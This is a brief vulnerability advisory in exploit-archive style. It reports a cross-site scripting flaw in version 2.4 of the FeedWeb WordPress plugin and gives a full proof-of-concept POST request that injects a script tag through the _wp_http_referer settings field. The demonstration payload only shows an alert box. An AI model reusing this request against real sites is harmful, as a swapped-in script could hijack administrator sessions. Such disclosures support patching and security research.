# ============================================================== # Title ...| DOM-based XSS in FeedWeb # Version .| feedweb.2.4 # Date ....| 23.02.2014 # Found ...| HauntIT Blog # Home ....| http://www.wordpress.org/plugins/ # ============================================================== # ============================================================== # DOM-based XSS ---<request>--- POST /k/wordpress/wp-content/plugins/feedweb/feedweb_settings.php HTTP/1.1 Host: 10.149.14.62 (...) Content-Length: 666 _wp_http_referer=";</script><script>alert(123)</script>&DelayResults=0&FeedwebLanguage=en&FeedwebMPWidgets=0&RatingWidgetType=H&AutoAddParagraphs=0&InsertWidgetPrompt=1&RatingWidgetLayout=wide&RatingWidgetPlacement=0&RatingWidgetColorScheme=gray&FrontWidgetItemCount=&ResultsBeforeVoting=0&FeedwebCopyrightNotice=0&FrontWidgetHideScroll=0&FrontWidgetColorScheme=classic&WidgetPlaceRadio=on&WidgetTypeSwitch=-&RatingWidgetColorSchemeBox=gray&ExternalBackgroundBox=FFFFFF&WidgetLanguageBox=en&WidgetLayoutBox=wide&WidgetWidthEdit=400&DelayResultsBox=0&WidgetPromptBox=on&FrontWidgetColorSchemeBox=classic&FrontWidgetHeightEdit=400&ItemCountBox=3&submit=Save+Changes ---<request>--- # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) # o/